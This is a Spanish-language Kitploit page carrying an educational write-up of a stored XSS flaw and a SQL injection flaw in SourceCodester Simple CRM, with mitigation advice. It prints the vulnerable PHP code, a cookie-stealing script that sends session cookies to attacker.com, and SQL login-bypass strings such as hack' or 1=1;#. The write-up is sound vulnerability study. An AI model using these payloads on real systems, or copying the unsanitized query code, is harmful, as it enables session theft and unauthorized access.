Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2023-24203-and-CVE-2023-24204 — Análisis educativo de CVE-2023-24203 (XSS almacenado) y CVE-2023-24204 (Inyección SQL) en SourceCodester CRM, con pasos de explotación y estrategias de mitigación. | Kitploit
Herramientas/GitHubGitHub/momo1239/cve-2023-24203-and-cve-2023-24204
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebSeguridad WebPapers e InvestigaciónAprendizaje y Educación
GitHubmomo1239/cve-2023-24203-and-cve-2023-24204

CVE-2023-24203-and-CVE-2023-24204

Análisis educativo de CVE-2023-24203 (XSS almacenado) y CVE-2023-24204 (Inyección SQL) en SourceCodester CRM, con pasos de explotación y estrategias de mitigación.

Ver Repositorio
1hace 2 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2023-24203-and-CVE-2023-24204

Introducción

En el panorama en constante evolución de la ciberseguridad, las aplicaciones web siguen siendo un objetivo principal para los atacantes que buscan explotar vulnerabilidades. Recientemente, se descubrieron dos vulnerabilidades críticas en el Sistema Simple de Gestión de Relaciones con el Cliente (CRM) de SourceCodester v1.0: CVE-2023-24203 y CVE-2023-24204. Estas vulnerabilidades, que implican Cross-Site Scripting (XSS) e inyección SQL, plantean riesgos significativos, incluida la ejecución arbitraria de código y el acceso no autorizado. Comprender estas vulnerabilidades y sus impactos es esencial para que los desarrolladores y profesionales de la seguridad protejan los sistemas frente a posibles amenazas.

Cross-Site Scripting (XSS)

Cross-Site Scripting (XSS) es un tipo de vulnerabilidad que se produce cuando una aplicación web permite a los usuarios inyectar scripts maliciosos en páginas web vistas por otros usuarios. Esto puede dar lugar a acciones no autorizadas en nombre del usuario, robo de datos y una mayor explotación. Las vulnerabilidades XSS se pueden clasificar en tres tipos principales:

  1. Stored XSS: El script malicioso se almacena permanentemente en el servidor de destino, por ejemplo, en una base de datos, foro de mensajes o campo de comentarios.
  2. Reflected XSS: El script malicioso se refleja en un servidor web, por ejemplo, en un mensaje de error, resultado de búsqueda o cualquier otra respuesta que incluya parte o la totalidad de la entrada enviada al servidor.
  3. DOM-based XSS: La vulnerabilidad existe en el código del lado del cliente en lugar del código del lado del servidor.

Inyección SQL

La inyección SQL es un tipo de vulnerabilidad que se produce cuando un atacante puede manipular consultas SQL inyectando código SQL arbitrario en una consulta. Esto puede dar lugar a acceso no autorizado, robo de datos y otras actividades maliciosas. La inyección SQL suele ocurrir debido a una validación de entrada insuficiente y a la falta de consultas parametrizadas. Los impactos clave de la inyección SQL incluyen:

  1. Acceso no autorizado: Los atacantes pueden eludir los mecanismos de autenticación para obtener acceso no autorizado a un sistema.
  2. Robo de datos: Los atacantes pueden exfiltrar información confidencial de la base de datos.
  3. Manipulación de datos: Los atacantes pueden alterar, insertar o eliminar datos dentro de la base de datos.

En esta entrada de blog, profundizaremos en CVE-2023-24203 y CVE-2023-24204, explorando los detalles de estas vulnerabilidades, sus vectores de ataque, impactos y estrategias de mitigación. Comprender estas vulnerabilidades en profundidad es crucial para proteger sus aplicaciones y datos de posibles explotaciones.

Causas comunes de la inyección SQL en aplicaciones web

Las vulnerabilidades de inyección SQL suelen ser el resultado de una validación de entrada inadecuada y malas prácticas de codificación. Algunas causas comunes incluyen:

  1. Falta de consultas parametrizadas: No utilizar consultas parametrizadas permite a los atacantes inyectar código SQL malicioso en una cadena de consulta.
  2. Validación de entrada inadecuada: No validar correctamente las entradas de los usuarios puede dar lugar a la ejecución de comandos SQL no deseados.
  3. Consultas SQL dinámicas: Construir consultas SQL dinámicamente concatenando cadenas directamente de las entradas de los usuarios puede crear vulnerabilidades explotables.
  4. Escapado insuficiente de las entradas de los usuarios: No escapar correctamente los caracteres especiales en las entradas de los usuarios puede permitir ataques de inyección SQL.
  5. Código heredado: Las bases de código más antiguas pueden no seguir las prácticas de seguridad modernas, lo que las hace más susceptibles a la inyección SQL.

Causas comunes de XSS en aplicaciones web

Las vulnerabilidades de Cross-Site Scripting (XSS) suelen deberse a la falta de manejo adecuado de la entrada y salida de los usuarios. Las causas comunes incluyen:

  1. Codificación de salida incorrecta: No codificar la entrada del usuario antes de mostrarla en las páginas web puede permitir la inyección de scripts maliciosos.
  2. Validación de entrada inadecuada: No validar ni sanitizar las entradas de los usuarios puede dar lugar a la ejecución de scripts inyectados.
  3. Entradas de usuario reflejadas: Reflejar las entradas de los usuarios directamente en las respuestas sin una validación o codificación adecuada puede resultar en XSS reflejado.
  4. Entradas de usuario almacenadas: Almacenar las entradas de los usuarios sin una sanitización adecuada puede dar lugar a ataques de XSS almacenado.
  5. Manipulación del DOM: La manipulación insegura del Modelo de Objetos del Documento (DOM) basada en entradas de usuarios puede resultar en XSS basado en DOM.

CVE-2023-24203: ¡Encontrando un XSS Almacenado!

Resumen de la vulnerabilidad

CVE-2023-24203 es una vulnerabilidad de Cross-Site Scripting (XSS) almacenado encontrada en el componente get-quote.php del Sistema Simple de Gestión de Relaciones con el Cliente (CRM) de SourceCodester v1.0. Esta vulnerabilidad permite a un atacante inyectar scripts maliciosos en los parámetros company y query, que luego se almacenan en la base de datos y se ejecutan cuando un administrador los visualiza, lo que lleva a la ejecución arbitraria de código.

Detalles de la vulnerabilidad

La vulnerabilidad reside en el script get-quote.php, que procesa la entrada del usuario de un formulario de solicitud de cotización. El código fuente PHP se muestra a continuación:

root@kitploit:~
<?php
session_start();
include("dbconnection.php");
include("checklogin.php");
check_login();
error_reporting(0);
if(isset($_POST['submit']))
{
    $name=$_POST['name'];
    $email=$_POST['email'];
    $contact=$_POST['contact'];
    $company=$_POST['company'];
    $services=addslashes(mysqli_real_escape_string($con, json_encode($_POST['services'])));
    $other=$_POST['other'];
    $query=$_POST['query'];
    $pd=date('Y-m-d');
    mysqli_query($con,"insert into prequest(name,email,contactno,company,services,others,query,posting_date) values('$name','$email','$contact','$company','$services','$other','$query','$pd')");
    echo "<script>alert('Query received. We will contact you soon.');</script>";  
    echo "<script>window.location.href='get-quote.php'</script>";
}
?>

El script toma las entradas del usuario del formulario (nombre, correo electrónico, contacto, empresa, servicios, otros y consulta) y las incorpora directamente a una consulta SQL para almacenar los datos en la base de datos. Mientras que la entrada de servicios se sanitiza con mysqli_real_escape_string y addslashes, los parámetros company y query no se sanitizan ni codifican adecuadamente cuando se devuelven en la respuesta. Esta falta de sanitización y codificación adecuadas permite la inyección y el almacenamiento de scripts maliciosos en la base de datos.

Explotación

Para explotar esta vulnerabilidad, un atacante puede crear un payload que incluya código JavaScript malicioso en el parámetro company o query. Cuando el administrador visualice la solicitud de cotización, el script inyectado se ejecutará en su navegador.

Ejemplo de payload de explotación

Al enviar el siguiente payload en el parámetro query:

root@kitploit:~
<script>alert('XSS');</script>

El atacante puede desencadenar un ataque XSS cuando el administrador visualiza la solicitud de cotización.

Robo de cookies de administrador

Se puede crear un payload más dañino para robar las cookies de sesión del administrador. Al usar el siguiente payload en el parámetro query:

root@kitploit:~
<script>document.location='http://attacker.com/steal-cookie?cookie='+document.cookie;</script>

El atacante puede enviar las cookies del administrador a un servidor remoto controlado por él.

Pasos para explotar

Enviar solicitud de cotización maliciosa: El atacante completa el formulario de solicitud de cotización, inyectando el payload malicioso en el campo company o query.

root@kitploit:~
<form method="post" action="get-quote.php">
    <input type="text" name="company" value="CompanyX"><br>
    <input type="text" name="query" value="<script>document.location='http://attacker.com/steal-cookie?cookie='+document.cookie;</script>"><br>
    <input type="submit" name="submit" value="Submit">
</form>

El administrador visualiza la solicitud: Cuando el administrador inicia sesión en el sistema CRM y visualiza la cotización enviada, el script malicioso se ejecuta en su navegador, enviando sus cookies de sesión al servidor del atacante.

Impacto

La explotación exitosa de esta vulnerabilidad de XSS almacenado permite a un atacante ejecutar JavaScript arbitrario en el contexto del navegador del administrador. Esto puede dar lugar a varias acciones maliciosas, incluyendo:

Robo de cookies de sesión Secuestro de sesiones de usuario Realización de acciones no autorizadas en nombre del administrador Redireccionamiento del administrador a sitios web maliciosos

Mitigación

Para mitigar esta vulnerabilidad, es esencial sanitizar y codificar todas las entradas de los usuarios antes de incorporarlas a la página web. Específicamente:

Sanitizar entradas: Utilice funciones como htmlspecialchars() para codificar caracteres especiales en las entradas de los usuarios. Validar entradas: Implemente una validación estricta de entradas para asegurar que solo se acepten los datos esperados. Política de Seguridad de Contenido (CSP): Utilice cabeceras CSP para restringir las fuentes desde las que se pueden cargar y ejecutar scripts.

CVE-2023-24204: ¡Encontrando una inyección SQL y un bypass de autenticación!

CVE-2023-24204 es una vulnerabilidad de inyección SQL encontrada en los componentes get-quote.php y login.php del Sistema Simple de Gestión de Relaciones con el Cliente (CRM) de SourceCodester v1.0. Esta vulnerabilidad permite a un atacante inyectar comandos SQL arbitrarios en la base de datos, lo que potencialmente puede conducir a un acceso no autorizado y a la manipulación de datos.

Detalles de la vulnerabilidad

La vulnerabilidad de inyección SQL está presente tanto en los scripts get-quote.php como admin/login.php. A continuación se presenta un análisis de cómo se manifiestan y pueden explotarse estas vulnerabilidades.

get-quote.php

El script get-quote.php procesa la entrada del usuario de un formulario de solicitud de cotización. El código fuente se muestra a continuación:

root@kitploit:~
<?php
session_start();
include("dbconnection.php");
include("checklogin.php");
check_login();
error_reporting(0);
if(isset($_POST['submit']))
{
    $name=$_POST['name'];
    $email=$_POST['email'];
    $contact=$_POST['contact'];
    $company=$_POST['company'];
    $services=addslashes(mysqli_real_escape_string($con, json_encode($_POST['services'])));
    $other=$_POST['other'];
    $query=$_POST['query'];
    $pd=date('Y-m-d');
    mysqli_query($con,"insert into prequest(name,email,contactno,company,services,others,query,posting_date) values('$name','$email','$contact','$company','$services','$other','$query','$pd')");
    echo "<script>alert('Query received. We will contact you soon.');</script>";  
    echo "<script>window.location.href='get-quote.php'</script>";
}
?>

Y echemos también un vistazo a la lógica del código fuente de login.php.

root@kitploit:~
<?php
session_start();
error_reporting(0);
include("dbconnection.php");
if(isset($_POST['login']))
{
$ret=mysqli_query($con,"SELECT * FROM user WHERE email='".$_POST['email']."' and password='".$_POST['password']."'");
$num=mysqli_fetch_array($ret);
if($num>0)
{
$_SESSION['login']=$_POST['email'];
$_SESSION['id']=$num['id'];
$_SESSION['name']=$num['name'];
$val3 =date("Y/m/d");
date_default_timezone_set("Asia/Calcutta");
$time=date("h:i:sa");
$tim = $time;
$ip_address=$_SERVER['REMOTE_ADDR'];
$geopluginURL='http://www.geoplugin.net/php.gp?ip='.$ip_address;
$addrDetailsArr = unserialize(file_get_contents($geopluginURL)); 
$city = $addrDetailsArr['geoplugin_city']; 
$country = $addrDetailsArr['geoplugin_countryName'];
ob_start();
system('ipconfig /all');
$mycom=ob_get_contents();
ob_clean();
$findme = "Physical";
$pmac = strpos($mycom, $findme);
$mac=substr($mycom,($pmac+36),17);
$ret=mysqli_query($con,"insert into usercheck(logindate,logintime,user_id,username,email,ip,mac,city,country)values('".$val3."','".$tim."','".$_SESSION['id']."','".$_SESSION['name']."','".$_SESSION['login']."','$ip_address','$mac','$city','$country')");

$extra="dashboard.php";
echo "<script>window.location.href='".$extra."'</script>";
exit();
}
else
{
$_SESSION['action1']="Invalid username or password";
$extra="login.php";

echo "<script>window.location.href='".$extra."'</script>";
exit();
}
}
?>

Análisis de la vulnerabilidad

El script get-quote.php no sanitiza adecuadamente el parámetro name. Un atacante puede interceptar la solicitud utilizando una herramienta como Burp Suite, modificar el parámetro name e inyectar comandos SQL maliciosos.

El script login.php es vulnerable a la omisión de autenticación debido a la falta de validación adecuada de las entradas en los campos email y password. Un atacante puede usar un payload como hack' or 1=1;# para eludir la autenticación y obtener acceso.

Explotación

  1. Explotando get-quote.php
  2. Interceptar la solicitud: Utilice una herramienta proxy como Burp Suite para interceptar la solicitud de envío del formulario.
  3. Modificar el parámetro name: Inyecte comandos SQL maliciosos en el parámetro name. Por ejemplo:

' OR '1'='1';--

  1. Enviar la solicitud modificada: Envíe la solicitud modificada al servidor. El comando SQL inyectado será ejecutado por la base de datos.

  2. Explotando login.php

  3. Ir a la página de inicio de sesión: Vaya a la página login.php.

  4. Introducir payload malicioso: Utilice un payload como hack' or 1=1;# en el campo email y cualquier cadena en el campo password.



  1. Omitir la autenticación: Envíe el formulario. El payload elude la autenticación, concediendo acceso a la cuenta.

Impacto

La explotación exitosa de estas vulnerabilidades de inyección SQL puede dar lugar a varias acciones maliciosas, incluyendo:

Acceso no autorizado: Los atacantes pueden obtener acceso administrativo al sistema. Robo de datos: Los atacantes pueden exfiltrar información confidencial de la base de datos. Manipulación de datos: Los atacantes pueden alterar, insertar o eliminar datos dentro de la base de datos. Mitigación Para mitigar estas vulnerabilidades, es esencial implementar una validación de entrada adecuada y utilizar consultas parametrizadas. Específicamente:

Usar sentencias preparadas: Implemente consultas parametrizadas para prevenir la inyección SQL. Validar entradas: Aplique una validación estricta de entradas para asegurar que solo se acepten los datos esperados. Escapar entradas: Escape adecuadamente todas las entradas de los usuarios antes de usarlas en consultas SQL.

Al seguir estas mejores prácticas, puede reducir significativamente el riesgo de ataques de inyección SQL y proteger su aplicación web de una posible explotación.

Descargar herramienta